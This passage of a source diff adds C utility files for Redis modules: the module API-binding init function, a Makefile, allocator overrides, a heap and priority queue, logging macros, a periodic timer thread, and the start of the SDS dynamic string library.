+const char *REDISMODULE_API_FUNC(RedisModule_GetMyClusterID)(void);
+size_t REDISMODULE_API_FUNC(RedisModule_GetClusterSize)(void);
+void REDISMODULE_API_FUNC(RedisModule_GetRandomBytes)(unsigned char *dst, size_t len);
+void REDISMODULE_API_FUNC(RedisModule_GetRandomHexChars)(char *dst, size_t len);
+void REDISMODULE_API_FUNC(RedisModule_SetDisconnectCallback)(RedisModuleBlockedClient *bc, RedisModuleDisconnectFunc callback);
+void REDISMODULE_API_FUNC(RedisModule_SetClusterFlags)(RedisModuleCtx *ctx, uint64_t flags);
+#endif
+
+/* This is included inline inside each Redis module. */
+static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) __attribute__((unused));
+static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) {
+    void *getapifuncptr = ((void**)ctx)[0];
+    RedisModule_GetApi = (int (*)(const char *, void *)) (unsigned long)getapifuncptr;
+    REDISMODULE_GET_API(Alloc);
+    REDISMODULE_GET_API(Calloc);
+    REDISMODULE_GET_API(Free);
+    REDISMODULE_GET_API(Realloc);
+    REDISMODULE_GET_API(Strdup);
+    REDISMODULE_GET_API(CreateCommand);
+    REDISMODULE_GET_API(SetModuleAttribs);
+    REDISMODULE_GET_API(IsModuleNameBusy);
+    REDISMODULE_GET_API(WrongArity);
+    REDISMODULE_GET_API(ReplyWithLongLong);
+    REDISMODULE_GET_API(ReplyWithError);
+    REDISMODULE_GET_API(ReplyWithSimpleString);
+    REDISMODULE_GET_API(ReplyWithArray);
+    REDISMODULE_GET_API(ReplySetArrayLength);
+    REDISMODULE_GET_API(ReplyWithStringBuffer);
+    REDISMODULE_GET_API(ReplyWithString);
+    REDISMODULE_GET_API(ReplyWithNull);
+    REDISMODULE_GET_API(ReplyWithCallReply);
+    REDISMODULE_GET_API(ReplyWithDouble);
+    REDISMODULE_GET_API(ReplySetArrayLength);
+    REDISMODULE_GET_API(GetSelectedDb);
+    REDISMODULE_GET_API(SelectDb);
+    REDISMODULE_GET_API(OpenKey);
+    REDISMODULE_GET_API(CloseKey);
+    REDISMODULE_GET_API(KeyType);
+    REDISMODULE_GET_API(ValueLength);
+    REDISMODULE_GET_API(ListPush);
+    REDISMODULE_GET_API(ListPop);
+    REDISMODULE_GET_API(StringToLongLong);
+    REDISMODULE_GET_API(StringToDouble);
+    REDISMODULE_GET_API(Call);
+    REDISMODULE_GET_API(CallReplyProto);
+    REDISMODULE_GET_API(FreeCallReply);
+    REDISMODULE_GET_API(CallReplyInteger);
+    REDISMODULE_GET_API(CallReplyType);
+    REDISMODULE_GET_API(CallReplyLength);
+    REDISMODULE_GET_API(CallReplyArrayElement);
+    REDISMODULE_GET_API(CallReplyStringPtr);
+    REDISMODULE_GET_API(CreateStringFromCallReply);
+    REDISMODULE_GET_API(CreateString);
+    REDISMODULE_GET_API(CreateStringFromLongLong);
+    REDISMODULE_GET_API(CreateStringFromString);
+    REDISMODULE_GET_API(CreateStringPrintf);
+    REDISMODULE_GET_API(FreeString);
+    REDISMODULE_GET_API(StringPtrLen);
+    REDISMODULE_GET_API(AutoMemory);
+    REDISMODULE_GET_API(Replicate);
+    REDISMODULE_GET_API(ReplicateVerbatim);
+    REDISMODULE_GET_API(DeleteKey);
+    REDISMODULE_GET_API(UnlinkKey);
+    REDISMODULE_GET_API(StringSet);
+    REDISMODULE_GET_API(StringDMA);
+    REDISMODULE_GET_API(StringTruncate);
+    REDISMODULE_GET_API(GetExpire);
+    REDISMODULE_GET_API(SetExpire);
+    REDISMODULE_GET_API(ZsetAdd);
+    REDISMODULE_GET_API(ZsetIncrby);
+    REDISMODULE_GET_API(ZsetScore);
+    REDISMODULE_GET_API(ZsetRem);
+    REDISMODULE_GET_API(ZsetRangeStop);
+    REDISMODULE_GET_API(ZsetFirstInScoreRange);
+    REDISMODULE_GET_API(ZsetLastInScoreRange);
+    REDISMODULE_GET_API(ZsetFirstInLexRange);
+    REDISMODULE_GET_API(ZsetLastInLexRange);
+    REDISMODULE_GET_API(ZsetRangeCurrentElement);
+    REDISMODULE_GET_API(ZsetRangeNext);
+    REDISMODULE_GET_API(ZsetRangePrev);
+    REDISMODULE_GET_API(ZsetRangeEndReached);
+    REDISMODULE_GET_API(HashSet);
+    REDISMODULE_GET_API(HashGet);
+    REDISMODULE_GET_API(IsKeysPositionRequest);
+    REDISMODULE_GET_API(KeyAtPos);
+    REDISMODULE_GET_API(GetClientId);
+    REDISMODULE_GET_API(GetContextFlags);
+    REDISMODULE_GET_API(PoolAlloc);
+    REDISMODULE_GET_API(CreateDataType);
+    REDISMODULE_GET_API(ModuleTypeSetValue);
+    REDISMODULE_GET_API(ModuleTypeGetType);
+    REDISMODULE_GET_API(ModuleTypeGetValue);
+    REDISMODULE_GET_API(SaveUnsigned);
+    REDISMODULE_GET_API(LoadUnsigned);
+    REDISMODULE_GET_API(SaveSigned);
+    REDISMODULE_GET_API(LoadSigned);
+    REDISMODULE_GET_API(SaveString);
+    REDISMODULE_GET_API(SaveStringBuffer);
+    REDISMODULE_GET_API(LoadString);
+    REDISMODULE_GET_API(LoadStringBuffer);
+    REDISMODULE_GET_API(SaveDouble);
+    REDISMODULE_GET_API(LoadDouble);
+    REDISMODULE_GET_API(SaveFloat);
+    REDISMODULE_GET_API(LoadFloat);
+    REDISMODULE_GET_API(EmitAOF);
+    REDISMODULE_GET_API(Log);
+    REDISMODULE_GET_API(LogIOError);
+    REDISMODULE_GET_API(StringAppendBuffer);
+    REDISMODULE_GET_API(RetainString);
+    REDISMODULE_GET_API(StringCompare);
+    REDISMODULE_GET_API(GetContextFromIO);
+    REDISMODULE_GET_API(Milliseconds);
+    REDISMODULE_GET_API(DigestAddStringBuffer);
+    REDISMODULE_GET_API(DigestAddLongLong);
+    REDISMODULE_GET_API(DigestEndSequence);
+    REDISMODULE_GET_API(CreateDict);
+    REDISMODULE_GET_API(FreeDict);
+    REDISMODULE_GET_API(DictSize);
+    REDISMODULE_GET_API(DictSetC);
+    REDISMODULE_GET_API(DictReplaceC);
+    REDISMODULE_GET_API(DictSet);
+    REDISMODULE_GET_API(DictReplace);
+    REDISMODULE_GET_API(DictGetC);
+    REDISMODULE_GET_API(DictGet);
+    REDISMODULE_GET_API(DictDelC);
+    REDISMODULE_GET_API(DictDel);
+    REDISMODULE_GET_API(DictIteratorStartC);
+    REDISMODULE_GET_API(DictIteratorStart);
+    REDISMODULE_GET_API(DictIteratorStop);
+    REDISMODULE_GET_API(DictIteratorReseekC);
+    REDISMODULE_GET_API(DictIteratorReseek);
+    REDISMODULE_GET_API(DictNextC);
+    REDISMODULE_GET_API(DictPrevC);
+    REDISMODULE_GET_API(DictNext);
+    REDISMODULE_GET_API(DictPrev);
+    REDISMODULE_GET_API(DictCompare);
+    REDISMODULE_GET_API(DictCompareC);
+
+#ifdef REDISMODULE_EXPERIMENTAL_API
+    REDISMODULE_GET_API(GetThreadSafeContext);
+    REDISMODULE_GET_API(FreeThreadSafeContext);
+    REDISMODULE_GET_API(ThreadSafeContextLock);
+    REDISMODULE_GET_API(ThreadSafeContextUnlock);
+    REDISMODULE_GET_API(BlockClient);
+    REDISMODULE_GET_API(UnblockClient);
+    REDISMODULE_GET_API(IsBlockedReplyRequest);
+    REDISMODULE_GET_API(IsBlockedTimeoutRequest);
+    REDISMODULE_GET_API(GetBlockedClientPrivateData);
+    REDISMODULE_GET_API(GetBlockedClientHandle);
+    REDISMODULE_GET_API(AbortBlock);
+    REDISMODULE_GET_API(SetDisconnectCallback);
+    REDISMODULE_GET_API(SubscribeToKeyspaceEvents);
+    REDISMODULE_GET_API(BlockedClientDisconnected);
+    REDISMODULE_GET_API(RegisterClusterMessageReceiver);
+    REDISMODULE_GET_API(SendClusterMessage);
+    REDISMODULE_GET_API(GetClusterNodeInfo);
+    REDISMODULE_GET_API(GetClusterNodesList);
+    REDISMODULE_GET_API(FreeClusterNodesList);
+    REDISMODULE_GET_API(CreateTimer);
+    REDISMODULE_GET_API(StopTimer);
+    REDISMODULE_GET_API(GetTimerInfo);
+    REDISMODULE_GET_API(GetMyClusterID);
+    REDISMODULE_GET_API(GetClusterSize);
+    REDISMODULE_GET_API(GetRandomBytes);
+    REDISMODULE_GET_API(GetRandomHexChars);
+    REDISMODULE_GET_API(SetClusterFlags);
+#endif
+
+    if (RedisModule_IsModuleNameBusy && RedisModule_IsModuleNameBusy(name)) return REDISMODULE_ERR;
+    RedisModule_SetModuleAttribs(ctx,name,ver,apiver);
+    return REDISMODULE_OK;
+}
+
+#else
+
+/* Things only defined for the modules core, not exported to modules
+ * including this file. */
+#define RedisModuleString robj
+
+#endif /* REDISMODULE_CORE */
+#endif /* REDISMOUDLE_H */
@@ -0,0 +1,31 @@
+# set environment variable RM_INCLUDE_DIR to the location of redismodule.h
+ifndef RM_INCLUDE_DIR
+	RM_INCLUDE_DIR=../
+endif
+
+CFLAGS ?= -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function
+CFLAGS += -I$(RM_INCLUDE_DIR)
+CC=gcc
+
+OBJS=util.o strings.o sds.o vector.o alloc.o periodic.o
+
+all: librmutil.a
+
+clean:
+	rm -rf *.o *.a
+
+librmutil.a: $(OBJS)
+	ar rcs $@ $^
+
+test_vector: test_vector.o vector.o
+	$(CC) -Wall -o $@ $^ -lc -lpthread -O0
+	@(sh -c ./$@)
+.PHONY: test_vector
+
+test_periodic: test_periodic.o periodic.o
+	$(CC) -Wall -o $@ $^ -lc -lpthread -O0
+	@(sh -c ./$@)
+.PHONY: test_periodic
+	
+test: test_periodic test_vector
+.PHONY: test
@@ -0,0 +1,32 @@
+#include <string.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include "alloc.h"
+
+/* A patched implementation of strdup that will use our patched calloc */
+char *rmalloc_strndup(const char *s, size_t n) {
+  char *ret = calloc(n + 1, sizeof(char));
+  if (ret)
+    memcpy(ret, s, n);
+  return ret;
+}
+
+/*
+ * Re-patching RedisModule_Alloc and friends to the original malloc functions
+ *
+ * This function should be called if you are working with malloc-patched code
+ * outside of redis, usually for unit tests. Call it once when entering your unit
+ * tests' main().
+ *
+ * Since including "alloc.h" while defining REDIS_MODULE_TARGET
+ * replaces all malloc functions in redis with the RM_Alloc family of functions,
+ * when running that code outside of redis, your app will crash. This function
+ * patches the RM_Alloc functions back to the original mallocs. */
+void RMUTil_InitAlloc() {
+
+  RedisModule_Alloc = malloc;
+  RedisModule_Realloc = realloc;
+  RedisModule_Calloc = calloc;
+  RedisModule_Free = free;
+  RedisModule_Strdup = strdup;
+}
@@ -0,0 +1,51 @@
+#ifndef __RMUTIL_ALLOC__
+#define __RMUTIL_ALLOC__
+
+/* Automatic Redis Module Allocation functions monkey-patching.
+ *
+ * Including this file while REDIS_MODULE_TARGET is defined, will explicitly
+ * override malloc, calloc, realloc & free with RedisModule_Alloc,
+ * RedisModule_Callc, etc implementations, that allow Redis better control and
+ * reporting over allocations per module.
+ *
+ * You should include this file in all c files AS THE LAST INCLUDED FILE
+ *
+ * This only has effect when when compiling with the macro REDIS_MODULE_TARGET
+ * defined. The idea is that for unit tests it will not be defined, but for the
+ * module build target it will be.
+ *
+ */
+
+#include <stdlib.h>
+#include <redismodule.h>
+
+char *rmalloc_strndup(const char *s, size_t n);
+
+#ifdef REDIS_MODULE_TARGET /* Set this when compiling your code as a module */
+
+#define malloc(size) RedisModule_Alloc(size)
+#define calloc(count, size) RedisModule_Calloc(count, size)
+#define realloc(ptr, size) RedisModule_Realloc(ptr, size)
+#define free(ptr) RedisModule_Free(ptr)
+
+#ifdef strdup
+#undef strdup
+#endif
+#define strdup(ptr) RedisModule_Strdup(ptr)
+
+/* More overriding */
+// needed to avoid calling strndup->malloc
+#ifdef strndup
+#undef strndup
+#endif
+#define strndup(s, n) rmalloc_strndup(s, n)
+
+#else
+
+#endif /* REDIS_MODULE_TARGET */
+/* This function should be called if you are working with malloc-patched code
+ * outside of redis, usually for unit tests. Call it once when entering your unit
+ * tests' main() */
+void RMUTil_InitAlloc();
+
+#endif /* __RMUTIL_ALLOC__ */
@@ -0,0 +1,107 @@
+#include "heap.h"
+
+/* Byte-wise swap two items of size SIZE. */
+#define SWAP(a, b, size)                      \
+  do                                          \
+    {                                         \
+      register size_t __size = (size);        \
+      register char *__a = (a), *__b = (b);   \
+      do                                      \
+        {                                     \
+          char __tmp = *__a;                  \
+          *__a++ = *__b;                      \
+          *__b++ = __tmp;                     \
+        } while (--__size > 0);               \
+    } while (0)
+
+inline char *__vector_GetPtr(Vector *v, size_t pos) {
+    return v->data + (pos * v->elemSize);
+}
+
+void __sift_up(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
+    size_t len = last - first;
+    if (len > 1) {
+        len = (len - 2) / 2;
+        size_t ptr = first + len;
+        if (cmp(__vector_GetPtr(v, ptr), __vector_GetPtr(v, --last)) < 0) {
+            char t[v->elemSize];
+            memcpy(t, __vector_GetPtr(v, last), v->elemSize);
+            do {
+                memcpy(__vector_GetPtr(v, last), __vector_GetPtr(v, ptr), v->elemSize);
+                last = ptr;
+                if (len == 0)
+                    break;
+                len = (len - 1) / 2;
+                ptr = first + len;
+            } while (cmp(__vector_GetPtr(v, ptr), t) < 0);
+            memcpy(__vector_GetPtr(v, last), t, v->elemSize);
+        }
+    }
+}
+
+void __sift_down(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *), size_t start) {
+    // left-child of __start is at 2 * __start + 1
+    // right-child of __start is at 2 * __start + 2
+    size_t len = last - first;
+    size_t child = start - first;
+
+    if (len < 2 || (len - 2) / 2 < child)
+        return;
+
+    child = 2 * child + 1;
+
+    if ((child + 1) < len && cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, first + child + 1)) < 0) {
+        // right-child exists and is greater than left-child
+        ++child;
+    }
+
+    // check if we are in heap-order
+    if (cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, start)) < 0)
+        // we are, __start is larger than it's largest child
+        return;
+
+    char top[v->elemSize];
+    memcpy(top, __vector_GetPtr(v, start), v->elemSize);
+    do {
+        // we are not in heap-order, swap the parent with it's largest child
+        memcpy(__vector_GetPtr(v, start), __vector_GetPtr(v, first + child), v->elemSize);
+        start = first + child;
+
+        if ((len - 2) / 2 < child)
+            break;
+
+        // recompute the child based off of the updated parent
+        child = 2 * child + 1;
+
+        if ((child + 1) < len && cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, first + child + 1)) < 0) {
+            // right-child exists and is greater than left-child
+            ++child;
+        }
+
+        // check if we are in heap-order
+    } while (cmp(__vector_GetPtr(v, first + child), top) >= 0);
+    memcpy(__vector_GetPtr(v, start), top, v->elemSize);
+}
+
+
+void Make_Heap(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
+    if (last - first > 1) {
+        // start from the first parent, there is no need to consider children
+        for (int start = (last - first - 2) / 2; start >= 0; --start) {
+            __sift_down(v, first, last, cmp, first + start);
+        }
+    }
+}
+
+
+inline void Heap_Push(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
+    __sift_up(v, first, last, cmp);
+}
+
+
+inline void Heap_Pop(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
+    if (last - first > 1) {
+        SWAP(__vector_GetPtr(v, first), __vector_GetPtr(v, --last), v->elemSize);
+        __sift_down(v, first, last, cmp, first);
+    }
+}
@@ -0,0 +1,38 @@
+#ifndef __HEAP_H__
+#define __HEAP_H__
+
+#include "vector.h"
+
+
+/* Make heap from range
+ * Rearranges the elements in the range [first,last) in such a way that they form a heap.
+ * A heap is a way to organize the elements of a range that allows for fast retrieval of the element with the highest
+ * value at any moment (with pop_heap), even repeatedly, while allowing for fast insertion of new elements (with
+ * push_heap).
+ * The element with the highest value is always pointed by first. The order of the other elements depends on the
+ * particular implementation, but it is consistent throughout all heap-related functions of this header.
+ * The elements are compared using cmp.
+ */
+void Make_Heap(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
+
+
+/* Push element into heap range
+ * Given a heap in the range [first,last-1), this function extends the range considered a heap to [first,last) by
+ * placing the value in (last-1) into its corresponding location within it.
+ * A range can be organized into a heap by calling make_heap. After that, its heap properties are preserved if elements
+ * are added and removed from it using push_heap and pop_heap, respectively.
+ */
+void Heap_Push(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
+
+
+/* Pop element from heap range
+ * Rearranges the elements in the heap range [first,last) in such a way that the part considered a heap is shortened
+ * by one: The element with the highest value is moved to (last-1).
+ * While the element with the highest value is moved from first to (last-1) (which now is out of the heap), the other
+ * elements are reorganized in such a way that the range [first,last-1) preserves the properties of a heap.
+ * A range can be organized into a heap by calling make_heap. After that, its heap properties are preserved if elements
+ * are added and removed from it using push_heap and pop_heap, respectively.
+ */
+void Heap_Pop(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
+
+#endif //__HEAP_H__
@@ -0,0 +1,11 @@
+#ifndef __RMUTIL_LOGGING_H__
+#define __RMUTIL_LOGGING_H__
+
+/* Convenience macros for redis logging */
+
+#define RM_LOG_DEBUG(ctx, ...) RedisModule_Log(ctx, "debug", __VA_ARGS__)
+#define RM_LOG_VERBOSE(ctx, ...) RedisModule_Log(ctx, "verbose", __VA_ARGS__)
+#define RM_LOG_NOTICE(ctx, ...) RedisModule_Log(ctx, "notice", __VA_ARGS__)
+#define RM_LOG_WARNING(ctx, ...) RedisModule_Log(ctx, "warning", __VA_ARGS__)
+
+#endif
@@ -0,0 +1,88 @@
+#define REDISMODULE_EXPERIMENTAL_API
+#include "periodic.h"
+#include <pthread.h>
+#include <stdlib.h>
+#include <errno.h>
+
+typedef struct RMUtilTimer {
+  RMutilTimerFunc cb;
+  RMUtilTimerTerminationFunc onTerm;
+  void *privdata;
+  struct timespec interval;
+  pthread_t thread;
+  pthread_mutex_t lock;
+  pthread_cond_t cond;
+} RMUtilTimer;
+
+static struct timespec timespecAdd(struct timespec *a, struct timespec *b) {
+  struct timespec ret;
+  ret.tv_sec = a->tv_sec + b->tv_sec;
+
+  long long ns = a->tv_nsec + b->tv_nsec;
+  ret.tv_sec += ns / 1000000000;
+  ret.tv_nsec = ns % 1000000000;
+  return ret;
+}
+
+static void *rmutilTimer_Loop(void *ctx) {
+  RMUtilTimer *tm = ctx;
+
+  int rc = ETIMEDOUT;
+  struct timespec ts;
+
+  pthread_mutex_lock(&tm->lock);
+  while (rc != 0) {
+    clock_gettime(CLOCK_REALTIME, &ts);
+    struct timespec timeout = timespecAdd(&ts, &tm->interval);
+    if ((rc = pthread_cond_timedwait(&tm->cond, &tm->lock, &timeout)) == ETIMEDOUT) {
+
+      // Create a thread safe context if we're running inside redis
+      RedisModuleCtx *rctx = NULL;
+      if (RedisModule_GetThreadSafeContext) rctx = RedisModule_GetThreadSafeContext(NULL);
+
+      // call our callback...
+      tm->cb(rctx, tm->privdata);
+
+      // If needed - free the thread safe context.
+      // It's up to the user to decide whether automemory is active there
+      if (rctx) RedisModule_FreeThreadSafeContext(rctx);
+    }
+    if (rc == EINVAL) {
+      perror("Error waiting for condition");
+      break;
+    }
+  }
+
+  // call the termination callback if needed
+  if (tm->onTerm != NULL) {
+    tm->onTerm(tm->privdata);
+  }
+
+  // free resources associated with the timer
+  pthread_cond_destroy(&tm->cond);
+  free(tm);
+
+  return NULL;
+}
+
+/* set a new frequency for the timer. This will take effect AFTER the next trigger */
+void RMUtilTimer_SetInterval(struct RMUtilTimer *t, struct timespec newInterval) {
+  t->interval = newInterval;
+}
+
+RMUtilTimer *RMUtil_NewPeriodicTimer(RMutilTimerFunc cb, RMUtilTimerTerminationFunc onTerm,
+                                     void *privdata, struct timespec interval) {
+  RMUtilTimer *ret = malloc(sizeof(*ret));
+  *ret = (RMUtilTimer){
+      .privdata = privdata, .interval = interval, .cb = cb, .onTerm = onTerm,
+  };
+  pthread_cond_init(&ret->cond, NULL);
+  pthread_mutex_init(&ret->lock, NULL);
+
+  pthread_create(&ret->thread, NULL, rmutilTimer_Loop, ret);
+  return ret;
+}
+
+int RMUtilTimer_Terminate(struct RMUtilTimer *t) {
+  return pthread_cond_signal(&t->cond);
+}
@@ -0,0 +1,46 @@
+#ifndef RMUTIL_PERIODIC_H_
+#define RMUTIL_PERIODIC_H_
+#include <time.h>
+#include <redismodule.h>
+
+/** periodic.h - Utility periodic timer running a task repeatedly every given time interval */
+
+/* RMUtilTimer - opaque context for the timer */
+struct RMUtilTimer;
+
+/* RMutilTimerFunc - callback type for timer tasks. The ctx is a thread-safe redis module context
+ * that should be locked/unlocked by the callback when running stuff against redis. privdata is
+ * pre-existing private data */
+typedef void (*RMutilTimerFunc)(RedisModuleCtx *ctx, void *privdata);
+
+typedef void (*RMUtilTimerTerminationFunc)(void *privdata);
+
+/* Create and start a new periodic timer. Each timer has its own thread and can only be run and
+ * stopped once. The timer runs `cb` every `interval` with `privdata` passed to the callback. */
+struct RMUtilTimer *RMUtil_NewPeriodicTimer(RMutilTimerFunc cb, RMUtilTimerTerminationFunc onTerm,
+                                            void *privdata, struct timespec interval);
+
+/* set a new frequency for the timer. This will take effect AFTER the next trigger */
+void RMUtilTimer_SetInterval(struct RMUtilTimer *t, struct timespec newInterval);
+
+/* Stop the timer loop, call the termination callbck to free up any resources linked to the timer,
+ * and free the timer after stopping.
+ *
+ * This function doesn't wait for the thread to terminate, as it may cause a race condition if the
+ * timer's callback is waiting for the redis global lock.
+ * Instead you should make sure any resources are freed by the callback after the thread loop is
+ * finished.
+ *
+ * The timer is freed automatically, so the callback doesn't need to do anything about it.
+ * The callback gets the timer's associated privdata as its argument.
+ *
+ * If no callback is specified we do not free up privdata. If privdata is NULL we still call the
+ * callback, as it may log stuff or free global resources.
+ */
+int RMUtilTimer_Terminate(struct RMUtilTimer *t);
+
+/* DEPRECATED - do not use this function (well now you can't), use terminate instead
+    Free the timer context. The caller should be responsible for freeing the private data at this
+ * point */
+// void RMUtilTimer_Free(struct RMUtilTimer *t);
+#endif
@@ -0,0 +1,36 @@
+#include "priority_queue.h"
+#include "heap.h"
+
+PriorityQueue *__newPriorityQueueSize(size_t elemSize, size_t cap, int (*cmp)(void *, void *)) {
+    PriorityQueue *pq = malloc(sizeof(PriorityQueue));
+    pq->v = __newVectorSize(elemSize, cap);
+    pq->cmp = cmp;
+    return pq;
+}
+
+inline size_t Priority_Queue_Size(PriorityQueue *pq) {
+    return Vector_Size(pq->v);
+}
+
+inline int Priority_Queue_Top(PriorityQueue *pq, void *ptr) {
+    return Vector_Get(pq->v, 0, ptr);
+}
+
+inline size_t __priority_Queue_PushPtr(PriorityQueue *pq, void *elem) {
+    size_t top = __vector_PushPtr(pq->v, elem);
+    Heap_Push(pq->v, 0, top, pq->cmp);
+    return top;
+}
+
+inline void Priority_Queue_Pop(PriorityQueue *pq) {
+    if (pq->v->top == 0) {
+        return;
+    }
+    Heap_Pop(pq->v, 0, pq->v->top, pq->cmp);
+    pq->v->top--;
+}
+
+void Priority_Queue_Free(PriorityQueue *pq) {
+    Vector_Free(pq->v);
+    free(pq);
+}
@@ -0,0 +1,55 @@
+#ifndef __PRIORITY_QUEUE_H__
+#define __PRIORITY_QUEUE_H__
+
+#include "vector.h"
+
+/* Priority queue
+ * Priority queues are designed such that its first element is always the greatest of the elements it contains.
+ * This context is similar to a heap, where elements can be inserted at any moment, and only the max heap element can be
+ * retrieved (the one at the top in the priority queue).
+ * Priority queues are implemented as Vectors. Elements are popped from the "back" of Vector, which is known as the top
+ * of the priority queue.
+ */
+typedef struct {
+    Vector *v;
+
+    int (*cmp)(void *, void *);
+} PriorityQueue;
+
+/* Construct priority queue
+ * Constructs a priority_queue container adaptor object.
+ */
+PriorityQueue *__newPriorityQueueSize(size_t elemSize, size_t cap, int (*cmp)(void *, void *));
+
+#define NewPriorityQueue(type, cap, cmp) __newPriorityQueueSize(sizeof(type), cap, cmp)
+
+/* Return size
+ * Returns the number of elements in the priority_queue.
+ */
+size_t Priority_Queue_Size(PriorityQueue *pq);
+
+/* Access top element
+ * Copy the top element in the priority_queue to ptr.
+ * The top element is the element that compares higher in the priority_queue.
+ */
+int Priority_Queue_Top(PriorityQueue *pq, void *ptr);
+
+/* Insert element
+ * Inserts a new element in the priority_queue.
+ */
+size_t __priority_Queue_PushPtr(PriorityQueue *pq, void *elem);
+
+#define Priority_Queue_Push(pq, elem) __priority_Queue_PushPtr(pq, &(typeof(elem)){elem})
+
+/* Remove top element
+ * Removes the element on top of the priority_queue, effectively reducing its size by one. The element removed is the
+ * one with the highest value.
+ * The value of this element can be retrieved before being popped by calling Priority_Queue_Top.
+ */
+void Priority_Queue_Pop(PriorityQueue *pq);
+
+/* free the priority queue and the underlying data. Does not release its elements if
+ * they are pointers */
+void Priority_Queue_Free(PriorityQueue *pq);
+
+#endif //__PRIORITY_QUEUE_H__
@@ -0,0 +1,1274 @@
+/* SDSLib 2.0 -- A C dynamic strings library
+ *
+ * Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
+ * Copyright (c) 2015, Oran Agra
+ * Copyright (c) 2015, Redis Labs, Inc
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ *   * Redistributions of source code must retain the above copyright notice,
+ *     this list of conditions and the following disclaimer.
+ *   * Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution.
+ *   * Neither the name of Redis nor the names of its contributors may be used
+ *     to endorse or promote products derived from this software without
+ *     specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+ * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <ctype.h>
+#include <assert.h>
+#include "sds.h"
+#include "sdsalloc.h"
+
+static inline int sdsHdrSize(char type) {
+    switch(type&SDS_TYPE_MASK) {
+        case SDS_TYPE_5:
+            return sizeof(struct sdshdr5);
+        case SDS_TYPE_8:
+            return sizeof(struct sdshdr8);
+        case SDS_TYPE_16:
+            return sizeof(struct sdshdr16);
+        case SDS_TYPE_32:
+            return sizeof(struct sdshdr32);
+        case SDS_TYPE_64:
+            return sizeof(struct sdshdr64);
+    }
+    return 0;
+}
+
+static inline char sdsReqType(size_t string_size) {
+    if (string_size < 32)
+        return SDS_TYPE_5;
+    if (string_size < 0xff)
+        return SDS_TYPE_8;
+    if (string_size < 0xffff)
+        return SDS_TYPE_16;
+    if (string_size < 0xffffffff)
+        return SDS_TYPE_32;
+    return SDS_TYPE_64;
+}
+
+/* Create a new sds string with the content specified by the 'init' pointer
+ * and 'initlen'.
+ * If NULL is used for 'init' the string is initialized with zero bytes.
+ *
+ * The string is always null-termined (all the sds strings are, always) so
+ * even if you create an sds string with:
+ *
+ * mystring = sdsnewlen("abc",3);
+ *
+ * You can print the string with printf() as there is an implicit \0 at the
+ * end of the string. However the string is binary safe and can contain
+ * \0 characters in the middle, as the length is stored in the sds header. */
+sds sdsnewlen(const void *init, size_t initlen) {
+    void *sh;
+    sds s;
+    char type = sdsReqType(initlen);
+    /* Empty strings are usually created in order to append. Use type 8
+     * since type 5 is not good at this. */
+    if (type == SDS_TYPE_5 && initlen == 0) type = SDS_TYPE_8;
+    int hdrlen = sdsHdrSize(type);
+    unsigned char *fp; /* flags pointer. */
+
+    sh = s_malloc(hdrlen+initlen+1);
+    if (!init)
+        memset(sh, 0, hdrlen+initlen+1);
+    if (sh == NULL) return NULL;
+    s = (char*)sh+hdrlen;
+    fp = ((unsigned char*)s)-1;
+    switch(type) {
+        case SDS_TYPE_5: {
+            *fp = type | (initlen << SDS_TYPE_BITS);
+            break;
+        }
+        case SDS_TYPE_8: {
+            SDS_HDR_VAR(8,s);
+            sh->len = initlen;
+            sh->alloc = initlen;
+            *fp = type;
+            break;
+        }
+        case SDS_TYPE_16: {
+            SDS_HDR_VAR(16,s);
+            sh->len = initlen;
+            sh->alloc = initlen;
+            *fp = type;
+            break;
+        }
+        case SDS_TYPE_32: {
+            SDS_HDR_VAR(32,s);
+            sh->len = initlen;
+            sh->alloc = initlen;
+            *fp = type;
+            break;
+        }
+        case SDS_TYPE_64: {
+            SDS_HDR_VAR(64,s);
+            sh->len = initlen;
+            sh->alloc = initlen;
+            *fp = type;
+            break;
+        }
+    }
+    if (initlen && init)
+        memcpy(s, init, initlen);
+    s[initlen] = '\0';
+    return s;
+}
+
+/* Create an empty (zero length) sds string. Even in this case the string
+ * always has an implicit null term. */
+sds sdsempty(void) {
+    return sdsnewlen("",0);
+}
+
+/* Create a new sds string starting from a null terminated C string. */
+sds sdsnew(const char *init) {
+    size_t initlen = (init == NULL) ? 0 : strlen(init);
+    return sdsnewlen(init, initlen);
